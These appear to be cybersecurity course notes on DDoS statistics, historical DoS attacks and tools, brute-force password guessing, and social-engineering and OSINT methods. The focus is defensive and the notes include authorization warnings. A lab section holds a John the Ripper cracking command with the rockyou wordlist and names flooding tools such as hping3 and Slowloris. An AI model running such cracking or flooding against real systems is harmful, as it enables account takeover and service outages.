Important point: that attacks have become more complex. Traditional Layer 4 attacks remain relevant, but application-layer or Layer 7 attacks are increasingly important. Layer 4 attacks target transport and network behavior, such as connection handling or packet floods. Layer 7 attacks imitate or abuse application requests, making them harder to distinguish from legitimate traffic. Easy-to-use tools lower the entry barrier, while professional attackers can design more adaptive campaigns. Hacktivist activity may still rely on simpler techniques.

4. DDoS landscape

Historical Kaspersky charts are useful for understanding trends and variability, but they are snapshots rather than permanent truths. Country distributions can refer to attacked resources or observed C&C servers, not necessarily attacker nationality. Percentages and rankings change over time as infrastructure, measurement methods, and campaigns change.

4.1 Attacked resources by country

Chart	Selected values	Interpretation
Q3 2022 attacked resources	United States 39.06%; Mainland China 13.98%; Germany 5.07%; France 4.81%; Hong Kong 4.62%; Brazil 4.19%; Canada 4.10%; Great Britain 3.02%; Singapore 2.13%; Netherlands 2.06%; other 16.42%.	The United States is the largest category in the Q3 2022 chart. The distribution is spread across multiple regions.
2018 comparison	China dominated the displayed Q3 2018 and Q4 2018 chart: 70.58% and 43.26%; the United States rose from 17.05% to 29.14%.	The leading target location can change substantially even within one year.
2019 comparison	China remained dominant at 62.97% in Q3 2019 and 58.46% in Q4 2019; the United States was around 17.4%.	Historical comparisons show why a single quarter must not be generalized indefinitely.

4.2 Attack duration

Period	Key values	Meaning
Q3 2022	The chart shows 94.29% of attacks in the shortest <=4-hour category. The accompanying statistic states that attacks shorter than 4 hours accounted for 60.65% of total duration.	Most attacks are short, but short attacks can still consume a large aggregate share of attack time and create operational disruption.
2018 comparison	The <=4-hour category was 86.94% in Q3 and 83.34% in Q4.	Short attacks were already the dominant pattern.
2019 comparison	The <=4-hour category was 84.42% in Q3 and 81.86% in Q4.	The distribution varies, but shorter events remain common.

4.3 C&C server distribution

Chart	Selected values	Interpretation
Q3 2022	United States 43.10%; Germany 10.19%; Netherlands 9.34%; Russia 5.94%; Singapore 4.46%; Vietnam 2.97%; Bulgaria 2.55%; France 2.34%; Great Britain 1.91%; Hong Kong 1.49%; other 15.71%.	Observed coordination infrastructure was distributed, with a large United States share in this dataset.

Chart	Selected values	Interpretation
Q4 2018 comparison	United States 43.48%; Great Britain 7.88%; Netherlands 6.79%; Greece 5.71%; Canada 5.71%; Germany 5.43%; Russia 4.08%; France 3.80%; Romania 3.26%; China 2.72%; other 11.14%.	The mix differs across periods even when one country remains prominent.
Q4 2019 comparison	United States 58.33%; Great Britain 14.29%; China 9.52%; Russia 3.57%; Iran 2.38%; several other categories around 1.19%; other 5.95%.	Infrastructure location is dynamic and should be treated as an observed hosting distribution, not attribution.

4.4 Frequency and attack-type trends

Chart	Values	What to remember
Overall frequency indexed to Q3 2021	Total attacks: Q3 2021 100.00%; Q2 2022 123.22%; Q3 2022 147.87%. Smart attacks: Q3 2021 100%; Q2 2022 151.22%; Q3 2022 203.66%.	The dataset shows growth in total attacks and faster growth in more sophisticated "smart" attacks.
Smart-attack share	Q3 2021 38.86%; Q2 2022 47.69%; Q3 2022 53.53%.	More than half of the measured attacks in Q3 2022 fell into the report's smart-attack category.
Q3 2022 attack types	UDP 51.84%; SYN 26.96%; TCP 15.73%; GRE 3.70%; HTTP 1.77%.	Network and transport floods still dominate the type distribution in this chart.
TCP vs HTTP(S) frequency index	TCP is normalized to 100%. HTTP(S): Q2 2021 54.29%; Q3 2021 34.57%; Q4 2021 87.38%; Q1 2022 50.28%; Q2 2022 97.83%; Q3 2022 147.22%.	HTTP(S) attack frequency rose sharply by Q3 2022, illustrating application-layer growth.

Interpretation rule: Statistics describe observations from a particular report and period. They are not a permanent ranking of countries and do not prove who operated the attacks.

5. Historical DoS attack mechanisms

This includes classic attacks because they show recurring design mistakes: trusting malformed packets, keeping too much state before verifying a client, allowing amplification, and failing safely when input fragments are inconsistent. Modern systems often patch the original bugs, but the underlying engineering lessons remain relevant.

Attack	Core mechanism	Impact	Defensive lesson
Ping of Death (PoD, 1997)	Malformed fragmentation is used to create an oversized or invalid reassembled IPv4 packet beyond the traditional 65,535-byte limit.	Vulnerable implementations may crash; historical cases could involve buffer-overflow conditions and potentially remote code execution.	Validate packet reassembly, patch systems, and test protocol edge cases.
SYN flood (1996)	The attacker initiates many TCP handshakes but does not complete the final ACK, leaving half-open connection state until timeout.	The backlog or connection buffer fills, preventing legitimate connection establishment.	Verify clients cheaply, use SYN cookies, tune timeouts carefully, rate-limit suspicious patterns, and protect upstream capacity.
Smurf IP attack (1997)	Spoofed ICMP echo requests are sent to broadcast addresses with the victim as source. Many intermediary replies converge on the victim.	Reflection and amplification create a flood; a network can effectively participate in attacking another system.	Disable or filter directed broadcasts, apply anti-spoofing controls, and limit unnecessary ICMP behavior.
Teardrop fragmentation attack (1997)	Crafted IP fragments overlap or contain inconsistent offsets.	Vulnerable systems fail during reassembly and may restart or crash.	Patch protocol stacks and validate fragment consistency.
LAND attack (1997)	Packets use identical spoofed source and destination addresses and ports, causing vulnerable implementations to respond to themselves.	Some historical systems entered loops or became unavailable.	Reject nonsensical traffic, patch systems, and use ingress filtering.

Protocol accuracy: TCP window scaling can enlarge the advertised TCP receive window, but it does not change the maximum size of one IPv4 packet. Keep packet-size limits and TCP flow-control windows conceptually separate.

6. DoS mitigation and resilience

6.1 Mitigating SYN floods

Technique	How it helps	Limitation or nuance
SYN cookie	The server encodes relevant state into the TCP sequence number rather than allocating ordinary per-connection state immediately. A valid client response proves progress in the handshake.	Useful against state exhaustion, but it is not a complete defense against every bandwidth or application-layer flood.
RST cookie	The server sends a deliberately invalid SYN-ACK so that a legitimate client returns an RST, demonstrating that it can receive and respond.	A verification technique; implementation and compatibility considerations matter.

Technique	How it helps	Limitation or nuance
Shorter handshake timeout	Half-open entries are removed sooner.	Reduces exposure but can harm legitimate clients on slow or lossy networks.
Larger backlog or buffer	More incomplete connections can be tolerated temporarily.	Delays exhaustion but does not remove the bottleneck. Capacity alone is not a complete fix.

6.2 Generic layered mitigation

Layer or control	Role	Examples or notes
Firewall and filtering	Discard traffic that is clearly unnecessary or matches a simple unwanted pattern.	Filtering selected ICMP or UDP traffic can stop some uniform floods. Avoid blocking required functionality indiscriminately.
IDS and IPS	Detect abnormal traffic and optionally block or redirect it.	Detection should use rates, protocol behavior, baselines, and service context. Automatic blocking must be tuned to avoid self-inflicted outages.
Patch management	Prevent systems from crashing on malformed input and reduce the number of devices that can become botnet agents.	Keep operating systems, applications, firmware, and endpoint protections current.
Rate limiting and quotas	Constrain how quickly one client, account, network, or risk group can consume a resource.	Use multiple dimensions because distributed attacks can evade simple per-IP limits.
Reverse proxy and scrubbing service	Place a distributed front end between clients and the protected origin.	Providers can absorb, filter, reroute, and distribute traffic across multiple data centers. Examples include Cloudflare as an example.
Architecture for graceful degradation	Preserve critical functions when capacity is stressed.	Prioritize essential requests, isolate queues, use caching, fail closed or fail safely as appropriate, and protect dependencies.
Monitoring and response planning	Recognize an attack early and coordinate mitigation with providers.	Collect traffic metrics, logs, alerts, dependency health, and recovery procedures before an incident.

6.3 Weaknesses and operational limits of DoS campaigns

Campaign weakness	Why it matters defensively
Floods often need to be sustained	If the attack loses volume or coordination, the service may recover quickly.
C&C infrastructure can be disrupted	Taking down coordination servers or channels can reduce botnet effectiveness.
Compromised machines can be disinfected	Reducing the bot population removes attack capacity and improves the wider ecosystem.
C&C takeover or traffic tracking can expose operators	Attack infrastructure creates evidence and investigative opportunities.
Simple attackers have their own bandwidth bottlenecks	A single source cannot exceed its own connectivity. Distribution is valuable because it aggregates capacity.
Uniform patterns are easier to block	Simple firewall rules or upstream filters may stop repetitive traffic, while adaptive attacks require richer detection.

7. Historical stress-testing and DDoS tools

Examples include historical and publicly discussed tools to illustrate how DoS techniques became accessible and how distributed coordination evolved. This reference describe capabilities for recognition and defense. Use load-testing tools only against systems you own or have explicit written authorization to test, with agreed limits and rollback plans.

Tool	Capabilities	Security lesson
Low Orbit Ion Cannon (LOIC)	Open-source network stress-testing and DoS tool with a GUI; can generate TCP, UDP, ICMP, and HTTP traffic toward a selected target.	Ease of use lowers the skill barrier. Important point: that LOIC does not hide a user's source address; activity can be traced. One instance is not a DDoS.
LOIC volunteer campaigns	Associated in with Anonymous actions such as the Church of Scientology campaign and Operation Payback in 2010.	A distributed event can be created by many volunteers even without a traditional botnet. Participation can still carry legal consequences.
High Orbit Ion Cannon (HOIC)	HTTP-flood tool associated with Anonymous members. It was designed to be effective with roughly 50 users, with more needed against protected services.	Application-layer floods can stress web services while resembling normal requests more closely than raw packet floods.
Tribal Flood Network (TFN) and TFN2K, 1999	Set of programs supporting SYN flood, UDP flood, and Smurf attacks. A master controls agents; communications may be encrypted or hidden; the master may spoof its address.	DDoS is an orchestration problem: agents, coordination, concealment, and target selection matter.
Stacheldraht, 1999	Supports ICMP ping floods, TCP SYN floods, UDP floods, Smurf attacks, source-address forgery, and encryption; combines features of Trinoo and TFN.	Historical tools evolved by combining capabilities and adding coordination protection.

Tool	Capabilities	Security lesson
Slowloris	Layer 7, slow, low-bandwidth attack that keeps many web-server sockets occupied using partial HTTP requests held open for a long time.	Not every DoS attack requires huge bandwidth. Resource occupancy and timeout design are also important.

Safety boundary: Do not execute DoS tools, generate floods, or test third-party systems without explicit written authorization. Even small tests can cause outages or affect shared infrastructure.

8. DoS summary: what to remember

Memory point	Explanation
DoS is common and can be devastating	An attack does not need to be sophisticated if it reaches a critical bottleneck.
DDoS aggregates sources	Effective distributed attacks often rely on many participants, compromised devices, or volunteers.
Layered vigilance is required	Monitor the network, transport protocols, applications, dependencies, and origin infrastructure.
External protection can add capacity and distribution	Distributed gateways, reverse proxies, scrubbing, and high-bandwidth networks help absorb or filter attacks.
Resilience is an architecture property	Capacity, timeouts, queue design, segmentation, recovery, and provider coordination must be planned before an incident.

9. Applying brute force

9.1 Definition and targets

Brute force is repeated trial and error used to discover an unknown value. The method may be unsophisticated, but optimized tools, reduced search spaces, distributed execution, and weak credentials can make it effective. The available options include usernames, passwords, and web-server directories as examples of values that may be guessed. Local guessing is performed against a copy of stored data; remote guessing sends attempts across a network to a live service.

Mode	Description	Defensive priority
Local or offline guessing	The attacker has obtained a password hash or other verifier and can test candidates without interacting with the original service. Examples include John the Ripper as an example.	Use slow, salted password-hashing functions; protect credential databases; reset exposed credentials.
Remote or online guessing	The attacker submits attempts to a live login or service. Examples include Hydra and Crowbar as examples of specialized tools supporting multiple protocols.	Rate-limit, detect, require MFA where appropriate, protect recovery paths, and avoid attacker-triggered account denial of service.
Directory or resource guessing	The attacker tries names or paths to discover hidden content.	Do not rely on obscurity for access control; enforce authorization; monitor abnormal enumeration.

Historical platform note: Windows 11 RDP received default protection in July 2022: a ten-minute account lock after ten invalid sign-in attempts. Treat this as a historical example. Verify the current operating-system version, policy defaults, and organizational settings before relying on it.

9.2 Reducing the search space

A naive exhaustive search grows rapidly as password length and character diversity increase. Attackers therefore try to make the problem smaller. Dictionary attacks test common words. Targeted guesses use names, birthdays, leaked information, and predictable patterns. Rule-based mutation adds variations, such as capitalization, substitutions, or suffixes. traces this progression from slow historical crypt()-based systems through Crack and its successors, including John the Ripper.

Attacker technique	Why it helps the attacker	Defensive response
Dictionary list	Common passwords are far more likely than random strings.	Block known-compromised passwords and encourage long, unique passphrases.
Personal information	Names, dates, and interests reduce uncertainty for targeted victims.	Teach users not to base secrets on public information; use MFA and password managers.
Mutation rules	Common transformations create likely variants without searching the full space.	Do not treat minor substitutions as strong password improvements.
Leaked-password reuse	Previously exposed credentials can be tested against other services.	Use unique passwords, monitor credential exposure, and apply MFA.

Attacker technique	Why it helps the attacker	Defensive response
Distributed and delayed attempts	Attempts are spread across sources or time to reduce obvious spikes.	Correlate events across IPs, accounts, devices, regions, and longer time windows.

9.3 A noisy affair: attacker vs defender

Perspective	Behavior or objective	What to monitor or enforce
Attacker	Modulates patterns, distributes and delays attempts, collects intelligence, uses statistics about common words, and chooses between broad sweeps and targeted attacks.	Look for low-and-slow patterns, password spraying, repeated failures across sources, abnormal geography, and unusual success after failures.
Defender	Detects relevant patterns, disrupts ongoing attacks, makes combinatorics unfavorable, applies password policies, and checks against lists attackers also use.	Centralize logs, tune alerts, use breached-password screening, rate limits, MFA, secure recovery, and risk-based challenges.

9.4 IoT and router relevance

Brute force remains especially relevant to Internet of Things devices and routers because many devices expose services with default usernames or passwords. cites a historical prediction of 29 billion IoT devices by 2023 and a Kaspersky IoT threat report stating that 97.91% of observed attacks in the first half of 2023 targeted Telnet. SSH is also a common target. IoT honeypots help researchers observe evolving patterns.

Observed objective	Why compromised IoT devices are useful	Defensive action
DDoS participation	Large numbers of poorly managed devices can provide distributed traffic sources.	Change default credentials, disable unnecessary remote services, patch firmware, segment devices, and monitor outbound traffic.
Ransomware or destructive activity	Weak devices may expose management surfaces or become entry points.	Limit exposure, maintain inventory, update devices, and isolate critical networks.
DNS redirection	Compromised routers or devices can manipulate name resolution or redirect users.	Protect management interfaces, validate configuration changes, and monitor DNS behavior.
Proxying and botnet services	Compromised devices can relay traffic or be rented as infrastructure.	Detect unexpected outbound connections and remediate compromised endpoints quickly.
Trading of vulnerabilities or access	DDoS services, botnets, and zero-day IoT vulnerabilities may be offered on dark-net markets.	Use threat intelligence as one input, but prioritize asset inventory, patching, secure configuration, and monitoring.

10. Integrated defensive analysis

10.1 DoS analysis workflow

Question	Why ask it	Evidence or control
Which security property is affected?	DoS primarily targets availability, but secondary integrity or confidentiality issues may appear during failure or recovery.	Confirm user impact, service health, dependencies, and fallback behavior.
Which resource is exhausted or failing?	Mitigation must match the actual bottleneck.	Measure bandwidth, connection states, CPU, memory, queues, application workers, database pools, and dependencies.
Is the traffic volumetric, protocol-level, or application-level?	Different layers require different filters and architectural controls.	Use packet metrics, flow records, request logs, latency, error rates, and service traces.
Is the attack distributed?	Source diversity changes mitigation options.	Analyze source distribution, autonomous systems, patterns, reputation, and upstream visibility.
Can the origin remain hidden and protected?	Direct exposure can bypass the reverse proxy.	Restrict origin access, validate routing, and coordinate with providers.
What is the safe response?	Aggressive filtering can block legitimate users.	Apply reversible changes, monitor collateral impact, preserve evidence, and communicate status.

10.2 Brute-force defense workflow

Question	Defensive response
Are attempts local or remote?	Offline exposure requires credential reset and stronger password hashing. Online exposure requires throttling, detection, and secure authentication controls.
Is the pattern concentrated or distributed?	Correlate across sources, identities, devices, networks, geographies, and time windows.
Is the attack password guessing, password spraying, credential stuffing, or enumeration?	Tune controls to the pattern. Avoid account-lockout designs that can be weaponized against users.

Question	Defensive response
Are default credentials or exposed services involved?	Change defaults, remove unnecessary services, patch, and restrict management access.
Are successful logins occurring after repeated failures?	Escalate risk, challenge or block suspicious sessions, and investigate possible compromise.
Can users recover safely?	Protect reset workflows, MFA enrollment, support channels, and recovery codes against abuse.

11. Compact open-book lookup reference

11.1 DoS concepts

Term	One-line definition
DoS	Attack that degrades or prevents legitimate access to a system or resource, primarily affecting availability.
DDoS	DoS generated from many sources or participants, making capacity aggregation and filtering more difficult.
Botnet	Group of compromised devices controlled together, often used as distributed attack capacity.
C&C / C2	Coordination infrastructure or communication channels used to direct agents or compromised devices.
Reflection	Traffic is sent to intermediaries with the victim represented as the source so replies converge on the victim.
Amplification	A small initiating request causes a larger response volume toward the victim.
Layer 4 attack	Attack focused on network or transport behavior, such as connection state or packet floods.
Layer 7 attack	Attack focused on application behavior, such as expensive or slow HTTP interactions.
SYN cookie	Technique that avoids ordinary early allocation of handshake state by encoding relevant information into a sequence number.
Reverse proxy	Front-end service that receives traffic before the origin and can filter, distribute, cache, or reroute requests.

11.2 Historical attack memory table

Attack	Memory anchor
Ping of Death	Malformed oversized reassembly -> crash on vulnerable protocol stacks.
SYN flood	Half-open TCP handshakes -> backlog exhaustion.
Smurf	Spoofed broadcast ICMP -> reflected replies flood victim.
Teardrop	Overlapping fragments -> reassembly failure.
LAND	Spoofed identical source and destination -> vulnerable host loops against itself.
Slowloris	Slow partial HTTP requests -> sockets remain occupied.

11.3 Brute-force concepts

Term	One-line definition
Brute force	Repeated trial and error used to discover an unknown value such as a password, username, or path.
Dictionary attack	Guessing candidates from likely words or leaked-password lists instead of searching every possible combination.
Rule-based mutation	Applying transformations to likely guesses, such as suffixes, substitutions, or capitalization changes.
Offline guessing	Testing candidates against a copied verifier or hash without interacting with the original service.
Online guessing	Submitting attempts to a live service, producing network and authentication evidence.
Password spraying	Trying a small number of common passwords across many accounts to avoid per-account lockouts.
Credential stuffing	Testing username-password pairs exposed elsewhere against another service.
Account enumeration	Learning whether an identifier exists from distinguishable responses or timing.

11.4 Rapid defensive checklist

Topic	Minimum defensive questions
Availability design	Which finite resources can fail? Are rate limits, queues, timeouts, fallbacks, and capacity plans defined?
Traffic protection	Can providers, reverse proxies, firewalls, IDS/IPS, and upstream filters be activated safely?
Origin protection	Can attackers bypass front-end protection and reach the origin directly?
Monitoring	Are bandwidth, flows, connection state, request rates, errors, dependency health, authentication failures, and alerts centralized?
Authentication	Are MFA, secure recovery, breached-password screening, rate limits, and risk-based controls configured?
IoT and routers	Are defaults removed, exposed services minimized, firmware maintained, and device behavior monitored?
Incident response	Are reversible mitigations, provider contacts, evidence preservation, and communication plans ready?

Final memory anchor: Availability fails at bottlenecks. Identify the constrained resource, reduce unnecessary work, verify clients cheaply, distribute protection, monitor behavior across layers, and keep authentication controls strong without creating attacker-triggered lockouts.

Additional: Stack Tweaking as SYN Flood Mitigation

In addition to SYN Cookies and RST Cookies: **Stack Tweaking** = reduce the timeout for the final ACK + increase buffer size. Only *delays* the effect; not a complete fix.

Lab 6: DoS and Brute Force - Practical Details

Resource-exhaustion experiment

Monitoring: top (watch %si vs %id), netstat -tulnp, Apache access/error logs.

Baseline services on MS2: Apache:80, MySQL:3306, vsftpd:21, SSH:22.

Attack class	What it exhausts	Observed effect
Port scan (parallel nmap)	Network stack / interrupts	high %si, delays
HTTP request flood	Apache worker processes	timeouts at ~500 reqs
I/O-intensive workload	CPU + disk	most severe; typing lag, instability

Key: DoS works by exhausting resources, not by exploiting a code vulnerability. Other techniques: SYN flood (hping3), Slowloris (slow HTTP), MySQL connection exhaustion.

Brute force / password cracking

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Reduce search space: targeted user lists, known patterns, leaked wordlists (rockyou). Defences: account lockout, rate limiting, MFA, strong+salted hashing, monitoring (brute force is 'noisy'). Rainbow tables = precomputed hash lookups; salt defeats them.

CYBERSECURITY

Chapter 07: Social Engineering and Phishing

Technical knowledge notes

Human-centered attack surfaces, OSINT, attack lifecycle, pretexts, persuasion, decision-making, phishing workflows, email trust, URL deception, SPF, DKIM, DMARC, filtering, manual detection, awareness training, and ethical simulations

Core idea: Social engineering attacks exploit human decision-making and organizational processes. Effective defense combines technical controls, usable procedures, physical safeguards, verification habits, reporting channels, and continuous education.

Safety boundary: This reference explain attack patterns so they can be recognized, tested ethically, and mitigated. Any simulated campaign, OSINT activity, physical test, or direct contact must be explicitly authorized, proportionate, documented, and designed to avoid harm.

Quick navigation

1. Social engineering foundations

Examples include incident headlines about scam advertising, voice phishing, ransomware campaigns accelerated by social engineering, sector-targeted schemes, and large-scale data breaches. The technical lesson is not that one channel is uniquely dangerous. It is that attackers repeatedly use human trust and routine workflows to bypass controls that would be difficult to defeat directly.

1.1 Definition and scope

Social engineering is any act that influences a person to take an action that may or may not be in that person's best interest. In cybersecurity, the term usually refers to psychological manipulation that persuades someone to disclose information, execute a file, approve a request, grant access, transfer money, or otherwise weaken security. The technique is not limited to cybercrime: similar influence mechanisms appear in traditional fraud and in legitimate efforts to encourage beneficial behavior. Intent, authorization, transparency, and consequences determine whether a use is ethical.

Human attack surface: Security depends on people as well as software. Employees, customers, contractors, help-desk staff, guards, executives, and suppliers can all become targets because they make decisions, possess information, or control access.

1.2 Attack methods

Method	What it attempts to achieve	Typical defensive focus
Phishing email	Impersonates a trusted entity to induce a click, credential entry, payment, disclosure, or file opening.	Email authentication, filtering, URL inspection, user verification, and reporting.
Spear phishing	Uses personalization and a narrower target group to make a lure more credible.	Protect public information, verify unusual requests, and train for personalized messages.
Credential harvesting	Captures usernames, passwords, codes, or other secrets through a fake page or deceptive interaction.	Phishing-resistant MFA, password managers, domain checks, and rapid credential reset.
Whaling / CEO fraud	Targets senior staff or impersonates leadership to request transfers, documents, or urgent actions.	Out-of-band approval, separation of duties, and payment-change verification.
Smishing	Uses SMS or another text-message channel.	Do not trust a message because it arrived by phone; verify independently.
Vishing	Uses a phone or voice channel.	Call back through a known official number; train help desks against authority and urgency.
Baiting and evil USB	Offers something tempting, such as a found removable drive, to trigger unsafe behavior.	Disable or restrict removable media and teach safe handling.
Malicious attachment	Uses an attached PDF, spreadsheet, archive, shortcut, or other file as a delivery path.	Sandboxing, file-type restrictions, macro controls, patching, and careful opening behavior.
On-site visit	Uses physical presence, impersonation, or observation to enter restricted areas or gather information.	Visitor management, badges, escorts, challenge culture, and secure disposal.

1.3 Digital and physical categories

Category	Examples	Explanation
Digital	Phishing, vishing, smishing, baiting, waterholing, WiFi spoofing.	Digital methods use messages, websites, voice channels, wireless networks, or downloadable content. A waterhole attack compromises a legitimate site commonly visited by a target group. WiFi spoofing creates a fake hotspot with a plausible network name.
Physical	Dumpster diving, tailgating or piggybacking, shoulder surfing, on-site contact.	Physical methods exploit access controls, discarded information, observation, social norms, and reluctance to challenge strangers. Shoulder surfing also includes overheard conversations and visible documents or screens.

2. Social-engineering attack lifecycle

This includes a simple three-step cycle - choose a target, contact the target, exploit the target - together with a more detailed lifecycle: exploration, entrapment, attack, and completion or withdrawal. These views describe the same process at different levels of detail.

Stage	Attacker objective	Defensive interpretation
Exploration / reconnaissance	Identify target people, gather information, map access, and choose attack methods.	Reduce unnecessary public exposure, monitor breach exposure, and train staff that publicly available details can be weaponized.
Choosing a target	Select someone with relevant data, authority, physical access, or useful internal position.	Protect high-risk roles without ignoring ordinary employees, because any account may become a stepping stone.
Entrapment / contacting the target	Engage the person, gain attention or sympathy, create a plausible story, and try to control the situation.	Make safe verification easy. Staff should pause, use official contact paths, and ask for assistance without being punished for caution.
Attack / exploitation	Obtain information, money, access, execution of a file, or another desired action. The attacker may expand communication after initial success.	Use layered controls: least privilege, MFA, approval workflows, segmentation, endpoint controls, physical zoning, and monitoring.
Completion / withdrawal	End the interaction, move funds, remove malware traces, close the transaction, or reuse the foothold in later attacks.	Detect post-event indicators, preserve evidence, reset affected credentials, investigate scope, and report quickly.

2.1 Target specificity and pivoting

Targeting mode	Meaning	Example and defensive lesson
Explicit target	The attacker selects a particular person because that person has valuable authority or access.	A CEO, finance employee, administrator, or help-desk worker may receive a personalized approach. Protect sensitive workflows with independent verification.
Opportunistic target	The attacker contacts many people and relies on probability.	Bulk phishing succeeds when even a small fraction responds. Filtering and broad awareness reduce the available success rate.
Hybrid approach	The attacker casts a broad net in a strategically chosen setting.	A malicious WiFi network at a relevant location may attract a useful target without naming one in advance.
Pivoting	The first victim is used as a stepping stone.	An employee mailbox can be used to send credible internal messages. Investigate downstream activity after any compromise.

2.2 Contact channels and relationship duration

Contact can be manual or automated, one-off or sustained. A message may ask for a password, deploy malware, request a payment, or obtain physical or remote access. Long-term approaches can build rapport or observe routines. Automation increases scale, while personalization increases credibility. Defenders need both bulk controls and careful processes for high-risk exceptions.

3. Information gathering and OSINT

Open-source intelligence (OSINT) is the collection and analysis of information from sources that are publicly available or otherwise lawfully accessible. In social engineering, seemingly harmless facts can be combined into a convincing pretext. The model distinguishes the surface web, deeper web content that may not be indexed by search engines, and content accessed anonymously. It also shows the OSINT Framework as a structured index of source categories.

Important boundary: Publicly accessible does not automatically mean ethically appropriate to collect, combine, retain, or use. Social-engineering assessments must define allowed sources, purposes, data minimization, retention, and reporting rules.

3.1 OSINT source categories visible in the framework

Category	Examples visible in visual	Why it can matter
Identifiers	Username, email address, domain name, IP and MAC address, telephone number.	Links identities, accounts, infrastructure, and contact channels.
Media and metadata	Images, videos, documents, metadata, archives.	Reveals people, locations, software, document history, or past website content.
Online communities	Social networks, instant messaging, forums, blogs, IRC, Discord and gaming networks, dating, other social networks.	Exposes relationships, interests, routines, language, and potential pretexts.
Records and search	People search engines, public records, business records, search engines, code search, FTP search, academic and publication search, news search, fact checking.	Supports verification and organizational mapping.

Category	Examples visible in visual	Why it can matter
Location and movement	Transportation, geolocation tools, maps.	Can reveal travel patterns, offices, events, and physical-access opportunities.
Specialized sources	Dark web, digital currency, classified listings, exploits and advisories, threat intelligence, malicious-file analysis.	Useful in authorized investigations, but may raise major legal, ethical, and operational risks.
Analysis support	Encoding and decoding, language translation, search tools, search-engine guides, AI tools, OpSec, documentation and evidence capture, training.	Helps analysts organize work, preserve evidence, and reduce mistakes.

3.2 Personal information gathering

Source	Examples	How attackers may use it
Governmental and public-record services	Directory services such as krak.dk and other lawful records.	Find names, addresses, phone details, affiliations, and relationship clues.
Social media, forums, and message boards	Name, employment, relationship status, usernames, likes, check-ins, friends, and interactions with services.	Build personalized lures, answer security questions, identify alternate accounts, and map social circles.
Content posted by others	Friends and family posts, company pages, and media reports.	Reveal facts that the target did not intentionally publish personally.
Visual and contextual traces	Vehicles, frequent locations, school, workplace, events, appointments, appearance, devices, phone numbers, online profiles, websites, articles, gaming activity, and IP or ISP clues are illustrated in the person-focused OSINT diagram.	Show why isolated details become sensitive when combined into a broader profile.

3.3 Organizations, breaches, and account exposure

Source	Examples	Security relevance
Public organizational records	CVR register, court documents, and similar records.	Reveal legal names, roles, addresses, ownership, and business relationships.
DNS and registration information	DNS records and domain-registration lookups such as WHOIS services.	Map domains, mail infrastructure, hosting, naming patterns, and public technical contacts.
Company-published information	Website, press releases, job postings, and official social-media channels.	Reveal technologies, projects, suppliers, staff names, events, and current organizational themes that can support a pretext.
Employee-published information	Personal profiles, posts, and professional-network information.	Provide role details, reporting lines, colleagues, work routines, and vocabulary.
Data-breach material	Leaked account identifiers, password exposure, and other compromised information.	Can support credential stuffing, password guessing, impersonation, and targeted messages. Handling breach material may be illegal or unethical outside a defined investigation.

3.4 Financial information and cryptocurrency

Financial OSINT can include public tax information where legally available, leaked financial documents, and payment-service transaction data. Cryptocurrency analysis can also reveal transaction history for an address, spending and income patterns, exchange interactions, wallet connections, and clues that connect addresses to personal or business identities or locations. Public visibility does not remove the need for lawful purpose, careful attribution, and uncertainty handling.

Correlation risk: A single fact may be harmless. A profile becomes powerful when names, roles, relationships, locations, breached accounts, public transactions, and current events are correlated into one plausible story.

4. Pretexts, persuasion, and human decision-making

4.1 Pretexts and rapport

A pretext is the invented or selectively framed situation used to justify the attacker's request. This illustrates work-only, personal-only, and combined work-plus-personal approaches. Current events can make a conversation timely. Personal details can establish rapport. Combining work and personal facts makes an approach feel credible because it resembles a normal interaction rather than a generic script.

Pretext quality	Description	Defensive response
Relevant	The story fits the target's role, current events, or routine.	Verify through an independent official channel rather than relying on contextual plausibility.
Personalized	The story includes names, colleagues, projects, family facts, or previous interactions.	Treat knowledge as evidence of prior research, not as proof of identity.
Action-oriented	The story leads toward a specific disclosure or action.	Identify the requested action and ask whether it is normal, authorized, and independently verifiable.
Emotionally timed	The story creates urgency, sympathy, fear, curiosity, or reward expectation.	Pause before acting; use a checklist or second-person approval for sensitive steps.

4.2 Persuasion principles

Technique	How it influences decisions	Example defensive habit
Reward	People may respond positively to an offered benefit.	Do not connect unknown removable media or follow unverified reward links.
Liking and social proof	People favor individuals they like and may follow members of their perceived group.	Verify identity and process even when a request appears to come from a colleague.
Trustworthiness and appearance	A polished website, professional tone, uniform, badge, or familiar logo can create confidence.	Check technical and procedural evidence, not appearance alone.
Authority	People are more likely to comply with someone presented as senior, official, or expert.	Sensitive actions still require standard approval and verification.
Fear and urgency	Panic narrows attention and encourages immediate action.	Slow down; do not let urgency remove controls.
Scarcity and urgency	A limited-time opportunity pressures rapid decisions.	Do not bypass normal review because of a deadline created by the requester.
Trust and familiarity	The attacker imitates someone known or a familiar routine.	Use an independently obtained contact method for confirmation.
Plausibility	The story only needs to be believable enough to avoid questioning.	Ask what evidence would falsify the story and verify that evidence.

Technique	How it influences decisions	Example defensive habit
Curiosity, reciprocity, and convenience	Interest, desire to return a favor, or preference for the easiest path can override caution.	Make the secure path convenient and normalize asking for help.

4.3 Decision-making factors

Factor	Meaning	Design implication
Context-dependent decisions	A person's response changes with workload, channel, environment, and apparent urgency.	Design controls for real operating conditions, not idealized training situations.
Emotional triggers	Fear, sympathy, excitement, embarrassment, or pressure can displace careful reasoning.	Provide simple escalation and verification procedures.
Non-automatic security decisions	Security often requires deliberate thought rather than a habitual action.	Use clear prompts, checklists, and defaults that support safe behavior.
Cognitive bias	Security steps may be viewed as obstacles rather than helpful controls.	Reduce friction while keeping important safeguards.
Barriers to compliance	Email verification and physical checks may feel annoying or socially awkward.	Reward cautious behavior and avoid punishing false alarms.

5. Ethical social-engineering assessment

A social-engineering penetration test asks an authorized team to evaluate human-centered attack paths in a controlled way. It follows the same core principle as classical penetration testing: test realistic risk without harming the organization or the people involved. The assessment must define scope, approved techniques, exclusions, handling of personal data, escalation rules, and reporting practices before activity begins.

Question	Why it matters	Safer assessment design
How much information may be collected about a person or company?	OSINT can become intrusive when data is aggregated.	Use only approved source categories, minimize collection, and retain only what is necessary.
May leaked breach material or gray-area sources be used?	Access, retention, and use may be illegal, unethical, or unsafe.	Obtain legal review and explicit written authorization; prefer synthetic or minimized evidence.
May testers contact a target or the target's social circle?	Direct engagement can cause distress, reputational harm, or privacy intrusion.	Define permitted channels, stop conditions, time windows, and support procedures.
Which pretexts and persuasion tactics are acceptable?	Certain stories can be manipulative or harmful, especially those involving health, family, or severe consequences.	Choose proportionate scenarios and prohibit high-risk themes unless specifically justified and approved.
Should reports name specific employees?	Naming can create blame rather than learning and may expose unnecessary personal data.	Report patterns and process weaknesses where possible; restrict identity-level data and use it only when necessary.
